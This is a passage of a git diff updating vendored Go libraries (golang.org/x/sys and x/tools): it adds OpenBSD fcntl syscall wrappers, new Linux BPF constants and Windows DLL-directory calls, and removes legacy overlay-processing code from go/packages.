@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go index f469a83ee6..8c1155cbc0 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s index 9a498a0677..fae140b62c 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go index c26ca2e1aa..7cc80c58d9 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s index 1f224aa416..9d1e0ff06d 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s @@ -213,6 +213,12 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + CALL libc_fcntl(SB) + RET +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 CALL libc_ppoll(SB) RET diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go index bcc920dd25..0688737f49 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s index 87a79c7095..da115f9a4b 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go index 997bcd55ae..bbf8399ff5 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go @@ -2671,6 +2671,7 @@ const ( BPF_PROG_TYPE_LSM = 0x1d BPF_PROG_TYPE_SK_LOOKUP = 0x1e BPF_PROG_TYPE_SYSCALL = 0x1f + BPF_PROG_TYPE_NETFILTER = 0x20 BPF_CGROUP_INET_INGRESS = 0x0 BPF_CGROUP_INET_EGRESS = 0x1 BPF_CGROUP_INET_SOCK_CREATE = 0x2 @@ -2715,6 +2716,11 @@ const ( BPF_PERF_EVENT = 0x29 BPF_TRACE_KPROBE_MULTI = 0x2a BPF_LSM_CGROUP = 0x2b + BPF_STRUCT_OPS = 0x2c + BPF_NETFILTER = 0x2d + BPF_TCX_INGRESS = 0x2e + BPF_TCX_EGRESS = 0x2f + BPF_TRACE_UPROBE_MULTI = 0x30 BPF_LINK_TYPE_UNSPEC = 0x0 BPF_LINK_TYPE_RAW_TRACEPOINT = 0x1 BPF_LINK_TYPE_TRACING = 0x2 @@ -2725,6 +2731,18 @@ const ( BPF_LINK_TYPE_PERF_EVENT = 0x7 BPF_LINK_TYPE_KPROBE_MULTI = 0x8 BPF_LINK_TYPE_STRUCT_OPS = 0x9 + BPF_LINK_TYPE_NETFILTER = 0xa + BPF_LINK_TYPE_TCX = 0xb + BPF_LINK_TYPE_UPROBE_MULTI = 0xc + BPF_PERF_EVENT_UNSPEC = 0x0 + BPF_PERF_EVENT_UPROBE = 0x1 + BPF_PERF_EVENT_URETPROBE = 0x2 + BPF_PERF_EVENT_KPROBE = 0x3 + BPF_PERF_EVENT_KRETPROBE = 0x4 + BPF_PERF_EVENT_TRACEPOINT = 0x5 + BPF_PERF_EVENT_EVENT = 0x6 + BPF_F_KPROBE_MULTI_RETURN = 0x1 + BPF_F_UPROBE_MULTI_RETURN = 0x1 BPF_ANY = 0x0 BPF_NOEXIST = 0x1 BPF_EXIST = 0x2 @@ -2742,6 +2760,8 @@ const ( BPF_F_MMAPABLE = 0x400 BPF_F_PRESERVE_ELEMS = 0x800 BPF_F_INNER_MAP = 0x1000 + BPF_F_LINK = 0x2000 + BPF_F_PATH_FD = 0x4000 BPF_STATS_RUN_TIME = 0x0 BPF_STACK_BUILD_ID_EMPTY = 0x0 BPF_STACK_BUILD_ID_VALID = 0x1 @@ -2762,6 +2782,7 @@ const ( BPF_F_ZERO_CSUM_TX = 0x2 BPF_F_DONT_FRAGMENT = 0x4 BPF_F_SEQ_NUMBER = 0x8 + BPF_F_NO_TUNNEL_KEY = 0x10 BPF_F_TUNINFO_FLAGS = 0x10 BPF_F_INDEX_MASK = 0xffffffff BPF_F_CURRENT_CPU = 0xffffffff @@ -2778,6 +2799,8 @@ const ( BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 0x10 BPF_F_ADJ_ROOM_NO_CSUM_RESET = 0x20 BPF_F_ADJ_ROOM_ENCAP_L2_ETH = 0x40 + BPF_F_ADJ_ROOM_DECAP_L3_IPV4 = 0x80 + BPF_F_ADJ_ROOM_DECAP_L3_IPV6 = 0x100 BPF_ADJ_ROOM_ENCAP_L2_MASK = 0xff BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 0x38 BPF_F_SYSCTL_BASE_NAME = 0x1 @@ -2866,6 +2889,8 @@ const ( BPF_DEVCG_DEV_CHAR = 0x2 BPF_FIB_LOOKUP_DIRECT = 0x1 BPF_FIB_LOOKUP_OUTPUT = 0x2 + BPF_FIB_LOOKUP_SKIP_NEIGH = 0x4 + BPF_FIB_LOOKUP_TBID = 0x8 BPF_FIB_LKUP_RET_SUCCESS = 0x0 BPF_FIB_LKUP_RET_BLACKHOLE = 0x1 BPF_FIB_LKUP_RET_UNREACHABLE = 0x2 @@ -2901,6 +2926,7 @@ const ( BPF_CORE_ENUMVAL_EXISTS = 0xa BPF_CORE_ENUMVAL_VALUE = 0xb BPF_CORE_TYPE_MATCHES = 0xc + BPF_F_TIMER_ABS = 0x1 ) const ( @@ -2979,6 +3005,12 @@ type LoopInfo64 struct { Encrypt_key [32]uint8 Init [2]uint64 } +type LoopConfig struct { + Fd uint32 + Size uint32 + Info LoopInfo64 + _ [8]uint64 +} type TIPCSocketAddr struct { Ref uint32 diff --git a/vendor/golang.org/x/sys/windows/syscall_windows.go b/vendor/golang.org/x/sys/windows/syscall_windows.go index fb6cfd0462..47dc579676 100644 --- a/vendor/golang.org/x/sys/windows/syscall_windows.go +++ b/vendor/golang.org/x/sys/windows/syscall_windows.go @@ -155,6 +155,8 @@ func NewCallbackCDecl(fn interface{}) uintptr { //sys GetModuleFileName(module Handle, filename *uint16, size uint32) (n uint32, err error) = kernel32.GetModuleFileNameW //sys GetModuleHandleEx(flags uint32, moduleName *uint16, module *Handle) (err error) = kernel32.GetModuleHandleExW //sys SetDefaultDllDirectories(directoryFlags uint32) (err error) +//sys AddDllDirectory(path *uint16) (cookie uintptr, err error) = kernel32.AddDllDirectory +//sys RemoveDllDirectory(cookie uintptr) (err error) = kernel32.RemoveDllDirectory //sys SetDllDirectory(path string) (err error) = kernel32.SetDllDirectoryW //sys GetVersion() (ver uint32, err error) //sys FormatMessage(flags uint32, msgsrc uintptr, msgid uint32, langid uint32, buf []uint16, args *byte) (n uint32, err error) = FormatMessageW diff --git a/vendor/golang.org/x/sys/windows/zsyscall_windows.go b/vendor/golang.org/x/sys/windows/zsyscall_windows.go index db6282e00a..146a1f0196 100644 --- a/vendor/golang.org/x/sys/windows/zsyscall_windows.go +++ b/vendor/golang.org/x/sys/windows/zsyscall_windows.go @@ -184,6 +184,7 @@ var ( procGetAdaptersInfo = modiphlpapi.NewProc("GetAdaptersInfo") procGetBestInterfaceEx = modiphlpapi.NewProc("GetBestInterfaceEx") procGetIfEntry = modiphlpapi.NewProc("GetIfEntry") + procAddDllDirectory = modkernel32.NewProc("AddDllDirectory") procAssignProcessToJobObject = modkernel32.NewProc("AssignProcessToJobObject") procCancelIo = modkernel32.NewProc("CancelIo") procCancelIoEx = modkernel32.NewProc("CancelIoEx") @@ -330,6 +331,7 @@ var ( procReadProcessMemory = modkernel32.NewProc("ReadProcessMemory") procReleaseMutex = modkernel32.NewProc("ReleaseMutex") procRemoveDirectoryW = modkernel32.NewProc("RemoveDirectoryW") + procRemoveDllDirectory = modkernel32.NewProc("RemoveDllDirectory") procResetEvent = modkernel32.NewProc("ResetEvent") procResizePseudoConsole = modkernel32.NewProc("ResizePseudoConsole") procResumeThread = modkernel32.NewProc("ResumeThread") @@ -1605,6 +1607,15 @@ func GetIfEntry(pIfRow *MibIfRow) (errcode error) { return } +func AddDllDirectory(path *uint16) (cookie uintptr, err error) { + r0, _, e1 := syscall.Syscall(procAddDllDirectory.Addr(), 1, uintptr(unsafe.Pointer(path)), 0, 0) + cookie = uintptr(r0) + if cookie == 0 { + err = errnoErr(e1) + } + return +} + func AssignProcessToJobObject(job Handle, process Handle) (err error) { r1, _, e1 := syscall.Syscall(procAssignProcessToJobObject.Addr(), 2, uintptr(job), uintptr(process), 0) if r1 == 0 { @@ -2879,6 +2890,14 @@ func RemoveDirectory(path *uint16) (err error) { return } +func RemoveDllDirectory(cookie uintptr) (err error) { + r1, _, e1 := syscall.Syscall(procRemoveDllDirectory.Addr(), 1, uintptr(cookie), 0, 0) + if r1 == 0 { + err = errnoErr(e1) + } + return +} + func ResetEvent(event Handle) (err error) { r1, _, e1 := syscall.Syscall(procResetEvent.Addr(), 1, uintptr(event), 0, 0) if r1 == 0 { diff --git a/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go b/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go index 0454cdd78e..333676b7cf 100644 --- a/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go +++ b/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go @@ -13,16 +13,17 @@ import ( "golang.org/x/tools/internal/gocommand" ) -var debug = false - func GetSizesForArgsGolist(ctx context.Context, inv gocommand.Invocation, gocmdRunner *gocommand.Runner) (string, string, error) { inv.Verb = "list" inv.Args = []string{"-f", "{{context.GOARCH}} {{context.Compiler}}", "--", "unsafe"} stdout, stderr, friendlyErr, rawErr := gocmdRunner.RunRaw(ctx, inv) var goarch, compiler string if rawErr != nil { - if rawErrMsg := rawErr.Error(); strings.Contains(rawErrMsg, "cannot find main module") || strings.Contains(rawErrMsg, "go.mod file not found") { - // User's running outside of a module. All bets are off. Get GOARCH and guess compiler is gc. + rawErrMsg := rawErr.Error() + if strings.Contains(rawErrMsg, "cannot find main module") || + strings.Contains(rawErrMsg, "go.mod file not found") { + // User's running outside of a module. + // All bets are off. Get GOARCH and guess compiler is gc. // TODO(matloob): Is this a problem in practice? inv.Verb = "env" inv.Args = []string{"GOARCH"} @@ -32,8 +33,12 @@ func GetSizesForArgsGolist(ctx context.Context, inv gocommand.Invocation, gocmdR } goarch = strings.TrimSpace(envout.String()) compiler = "gc" - } else { + } else if friendlyErr != nil { return "", "", friendlyErr + } else { + // This should be unreachable, but be defensive + // in case RunRaw's error results are inconsistent. + return "", "", rawErr } } else { fields := strings.Fields(stdout.String()) diff --git a/vendor/golang.org/x/tools/go/packages/external.go b/vendor/golang.org/x/tools/go/packages/external.go index 7242a0a7d2..7db1d1293a 100644 --- a/vendor/golang.org/x/tools/go/packages/external.go +++ b/vendor/golang.org/x/tools/go/packages/external.go @@ -12,8 +12,8 @@ import ( "bytes" "encoding/json" "fmt" - exec "golang.org/x/sys/execabs" "os" + "os/exec" "strings" ) diff --git a/vendor/golang.org/x/tools/go/packages/golist.go b/vendor/golang.org/x/tools/go/packages/golist.go index 1f1eade0ac..cd375fbc3c 100644 --- a/vendor/golang.org/x/tools/go/packages/golist.go +++ b/vendor/golang.org/x/tools/go/packages/golist.go @@ -11,6 +11,7 @@ import ( "fmt" "log" "os" + "os/exec" "path" "path/filepath" "reflect" @@ -20,7 +21,6 @@ import ( "sync" "unicode" - exec "golang.org/x/sys/execabs" "golang.org/x/tools/go/internal/packagesdriver" "golang.org/x/tools/internal/gocommand" "golang.org/x/tools/internal/packagesinternal" @@ -208,62 +208,6 @@ extractQueries: } } - // Only use go/packages' overlay processing if we're using a Go version - // below 1.16. Otherwise, go list handles it. - if goVersion, err := state.getGoVersion(); err == nil && goVersion < 16 { - modifiedPkgs, needPkgs, err := state.processGolistOverlay(response) - if err != nil { - return nil, err - } - - var containsCandidates []string - if len(containFiles) > 0 { - containsCandidates = append(containsCandidates, modifiedPkgs...) - containsCandidates = append(containsCandidates, needPkgs...) - } - if err := state.addNeededOverlayPackages(response, needPkgs); err != nil { - return nil, err - } - // Check candidate packages for containFiles. - if len(containFiles) > 0 { - for _, id := range containsCandidates { - pkg, ok := response.seenPackages[id] - if !ok { - response.addPackage(&Package{ - ID: id, - Errors: []Error{{ - Kind: ListError, - Msg: fmt.Sprintf("package %s expected but not seen", id), - }}, - }) - continue - } - for _, f := range containFiles { - for _, g := range pkg.GoFiles { - if sameFile(f, g) { - response.addRoot(id) - } - } - } - } - } - // Add root for any package that matches a pattern. This applies only to - // packages that are modified by overlays, since they are not added as - // roots automatically. - for _, pattern := range restPatterns { - match := matchPattern(pattern) - for _, pkgID := range modifiedPkgs { - pkg, ok := response.seenPackages[pkgID] - if !ok { - continue - } - if match(pkg.PkgPath) { - response.addRoot(pkg.ID) - } - } - } - } - sizeswg.Wait() if sizeserr != nil { return nil, sizeserr @@ -271,24 +215,6 @@ extractQueries: return response.dr, nil } -func (state *golistState) addNeededOverlayPackages(response *responseDeduper, pkgs []string) error { - if len(pkgs) == 0 { - return nil - } - dr, err := state.createDriverResponse(pkgs...) - if err != nil { - return err - } - for _, pkg := range dr.Packages { - response.addPackage(pkg) - } - _, needPkgs, err := state.processGolistOverlay(response) - if err != nil { - return err - } - return state.addNeededOverlayPackages(response, needPkgs) -} - func (state *golistState) runContainsQueries(response *responseDeduper, queries []string) error { for _, query := range queries { // TODO(matloob): Do only one query per directory. diff --git a/vendor/golang.org/x/tools/go/packages/golist_overlay.go b/vendor/golang.org/x/tools/go/packages/golist_overlay.go index 9576b472f9..d823c474ad 100644 --- a/vendor/golang.org/x/tools/go/packages/golist_overlay.go +++ b/vendor/golang.org/x/tools/go/packages/golist_overlay.go @@ -6,314 +6,11 @@ package packages import ( "encoding/json" - "fmt" - "go/parser" - "go/token" - "os" "path/filepath" - "regexp" - "sort" - "strconv" - "strings" "golang.org/x/tools/internal/gocommand" ) -// processGolistOverlay provides rudimentary support for adding -// files that don't exist on disk to an overlay. The results can be -// sometimes incorrect. -// TODO(matloob): Handle unsupported cases, including the following: -// - determining the correct package to add given a new import path -func (state *golistState) processGolistOverlay(response *responseDeduper) (modifiedPkgs, needPkgs []string, err error) { - havePkgs := make(map[string]string) // importPath -> non-test package ID - needPkgsSet := make(map[string]bool) - modifiedPkgsSet := make(map[string]bool) - - pkgOfDir := make(map[string][]*Package) - for _, pkg := range response.dr.Packages { - // This is an approximation of import path to id. This can be - // wrong for tests, vendored packages, and a number of other cases. - havePkgs[pkg.PkgPath] = pkg.ID - dir, err := commonDir(pkg.GoFiles) - if err != nil { - return nil, nil, err - } - if dir != "" { - pkgOfDir[dir] = append(pkgOfDir[dir], pkg) - } - } - - // If no new imports are added, it is safe to avoid loading any needPkgs. - // Otherwise, it's hard to tell which package is actually being loaded - // (due to vendoring) and whether any modified package will show up - // in the transitive set of dependencies (because new imports are added, - // potentially modifying the transitive set of dependencies). - var overlayAddsImports bool - - // If both a package and its test package are created by the overlay, we - // need the real package first. Process all non-test files before test - // files, and make the whole process deterministic while we're at it. - var overlayFiles []string - for opath := range state.cfg.Overlay { - overlayFiles = append(overlayFiles, opath) - } - sort.Slice(overlayFiles, func(i, j int) bool { - iTest := strings.HasSuffix(overlayFiles[i], "_test.go") - jTest := strings.HasSuffix(overlayFiles[j], "_test.go") - if iTest != jTest { - return !iTest // non-tests are before tests. - } - return overlayFiles[i] < overlayFiles[j] - }) - for _, opath := range overlayFiles { - contents := state.cfg.Overlay[opath] - base := filepath.Base(opath) - dir := filepath.Dir(opath) - var pkg *Package // if opath belongs to both a package and its test variant, this will be the test variant - var testVariantOf *Package // if opath is a test file, this is the package it is testing - var fileExists bool - isTestFile := strings.HasSuffix(opath, "_test.go") - pkgName, ok := extractPackageName(opath, contents) - if !ok { - // Don't bother adding a file that doesn't even have a parsable package statement - // to the overlay. - continue - } - // If all the overlay files belong to a different package, change the - // package name to that package. - maybeFixPackageName(pkgName, isTestFile, pkgOfDir[dir]) - nextPackage: - for _, p := range response.dr.Packages { - if pkgName != p.Name && p.ID != "command-line-arguments" { - continue - } - for _, f := range p.GoFiles { - if !sameFile(filepath.Dir(f), dir) { - continue - } - // Make sure to capture information on the package's test variant, if needed. - if isTestFile && !hasTestFiles(p) { - // TODO(matloob): Are there packages other than the 'production' variant - // of a package that this can match? This shouldn't match the test main package - // because the file is generated in another directory. - testVariantOf = p - continue nextPackage - } else if !isTestFile && hasTestFiles(p) { - // We're examining a test variant, but the overlaid file is - // a non-test file. Because the overlay implementation - // (currently) only adds a file to one package, skip this - // package, so that we can add the file to the production - // variant of the package. (https://golang.org/issue/36857 - // tracks handling overlays on both the production and test - // variant of a package). - continue nextPackage - } - if pkg != nil && p != pkg && pkg.PkgPath == p.PkgPath { - // We have already seen the production version of the - // for which p is a test variant. - if hasTestFiles(p) { - testVariantOf = pkg - } - } - pkg = p - if filepath.Base(f) == base { - fileExists = true - } - } - } - // The overlay could have included an entirely new package or an - // ad-hoc package. An ad-hoc package is one that we have manually - // constructed from inadequate `go list` results for a file= query. - // It will have the ID command-line-arguments. - if pkg == nil || pkg.ID == "command-line-arguments" { - // Try to find the module or gopath dir the file is contained in. - // Then for modules, add the module opath to the beginning. - pkgPath, ok, err := state.getPkgPath(dir) - if err != nil { - return nil, nil, err - } - if !ok { - break - } - var forTest string // only set for x tests - isXTest := strings.HasSuffix(pkgName, "_test") - if isXTest { - forTest = pkgPath - pkgPath += "_test" - } - id := pkgPath - if isTestFile { - if isXTest { - id = fmt.Sprintf("%s [%s.test]", pkgPath, forTest) - } else { - id = fmt.Sprintf("%s [%s.test]", pkgPath, pkgPath) - } - } - if pkg != nil { - // TODO(rstambler): We should change the package's path and ID - // here. The only issue is that this messes with the roots. - } else { - // Try to reclaim a package with the same ID, if it exists in the response. - for _, p := range response.dr.Packages { - if reclaimPackage(p, id, opath, contents) { - pkg = p - break - } - } - // Otherwise, create a new package. - if pkg == nil { - pkg = &Package{ - PkgPath: pkgPath, - ID: id, - Name: pkgName, - Imports: make(map[string]*Package), - } - response.addPackage(pkg) - havePkgs[pkg.PkgPath] = id - // Add the production package's sources for a test variant. - if isTestFile && !isXTest && testVariantOf != nil { - pkg.GoFiles = append(pkg.GoFiles, testVariantOf.GoFiles...) - pkg.CompiledGoFiles = append(pkg.CompiledGoFiles, testVariantOf.CompiledGoFiles...) - // Add the package under test and its imports to the test variant. - pkg.forTest = testVariantOf.PkgPath - for k, v := range testVariantOf.Imports { - pkg.Imports[k] = &Package{ID: v.ID} - } - } - if isXTest { - pkg.forTest = forTest - } - } - } - } - if !fileExists { - pkg.GoFiles = append(pkg.GoFiles, opath) - // TODO(matloob): Adding the file to CompiledGoFiles can exhibit the wrong behavior - // if the file will be ignored due to its build tags. - pkg.CompiledGoFiles = append(pkg.CompiledGoFiles, opath) - modifiedPkgsSet[pkg.ID] = true - } - imports, err := extractImports(opath, contents) - if err != nil { - // Let the parser or type checker report errors later. - continue - } - for _, imp := range imports { - // TODO(rstambler): If the package is an x test and the import has - // a test variant, make sure to replace it. - if _, found := pkg.Imports[imp]; found { - continue - } - overlayAddsImports = true - id, ok := havePkgs[imp] - if !ok { - var err error - id, err = state.resolveImport(dir, imp) - if err != nil { - return nil, nil, err - } - } - pkg.Imports[imp] = &Package{ID: id} - // Add dependencies to the non-test variant version of this package as well. - if testVariantOf != nil { - testVariantOf.Imports[imp] = &Package{ID: id} - } - } - } - - // toPkgPath guesses the package path given the id. - toPkgPath := func(sourceDir, id string) (string, error) { - if i := strings.IndexByte(id, ' '); i >= 0 { - return state.resolveImport(sourceDir, id[:i]) - } - return state.resolveImport(sourceDir, id) - } - - // Now that new packages have been created, do another pass to determine - // the new set of missing packages. - for _, pkg := range response.dr.Packages { - for _, imp := range pkg.Imports { - if len(pkg.GoFiles) == 0 { - return nil, nil, fmt.Errorf("cannot resolve imports for package %q with no Go files", pkg.PkgPath) - } - pkgPath, err := toPkgPath(filepath.Dir(pkg.GoFiles[0]), imp.ID) - if err != nil { - return nil, nil, err - } - if _, ok := havePkgs[pkgPath]; !ok { - needPkgsSet[pkgPath] = true - } - } - } - - if overlayAddsImports { - needPkgs = make([]string, 0, len(needPkgsSet)) - for pkg := range needPkgsSet { - needPkgs = append(needPkgs, pkg) - } - } - modifiedPkgs = make([]string, 0, len(modifiedPkgsSet)) - for pkg := range modifiedPkgsSet { - modifiedPkgs = append(modifiedPkgs, pkg) - } - return modifiedPkgs, needPkgs, err -} - -// resolveImport finds the ID of a package given its import path. -// In particular, it will find the right vendored copy when in GOPATH mode. -func (state *golistState) resolveImport(sourceDir, importPath string) (string, error) { - env, err := state.getEnv() - if err != nil { - return "", err - } - if env["GOMOD"] != "" { - return importPath, nil - } - - searchDir := sourceDir - for { - vendorDir := filepath.Join(searchDir, "vendor") - exists, ok := state.vendorDirs[vendorDir] - if !ok { - info, err := os.Stat(vendorDir) - exists = err == nil && info.IsDir() - state.vendorDirs[vendorDir] = exists - } - - if exists { - vendoredPath := filepath.Join(vendorDir, importPath) - if info, err := os.Stat(vendoredPath); err == nil && info.IsDir() { - // We should probably check for .go files here, but shame on anyone who fools us. - path, ok, err := state.getPkgPath(vendoredPath) - if err != nil { - return "", err - } - if ok { - return path, nil - } - } - } - - // We know we've hit the top of the filesystem when we Dir / and get /, - // or C:\ and get C:\, etc. - next := filepath.Dir(searchDir) - if next == searchDir { - break - } - searchDir = next - } - return importPath, nil -} - -func hasTestFiles(p *Package) bool { - for _, f := range p.GoFiles { - if strings.HasSuffix(f, "_test.go") { - return true - } - } - return false -} - // determineRootDirs returns a mapping from absolute directories that could // contain code to their corresponding import path prefixes. func (state *golistState) determineRootDirs() (map[string]string, error) { @@ -384,192 +81,3 @@ func (state *golistState) determineRootDirsGOPATH() (map[string]string, error) { } return m, nil } - -func extractImports(filename string, contents []byte) ([]string, error) { - f, err := parser.ParseFile(token.NewFileSet(), filename, contents, parser.ImportsOnly) // TODO(matloob): reuse fileset? - if err != nil { - return nil, err - } - var res []string - for _, imp := range f.Imports { - quotedPath := imp.Path.Value - path, err := strconv.Unquote(quotedPath) - if err != nil { - return nil, err - } - res = append(res, path) - } - return res, nil -} - -// reclaimPackage attempts to reuse a package that failed to load in an overlay. -// -// If the package has errors and has no Name, GoFiles, or Imports, -// then it's possible that it doesn't yet exist on disk. -func reclaimPackage(pkg *Package, id string, filename string, contents []byte) bool { - // TODO(rstambler): Check the message of the actual error? - // It differs between $GOPATH and module mode. - if pkg.ID != id { - return false - } - if 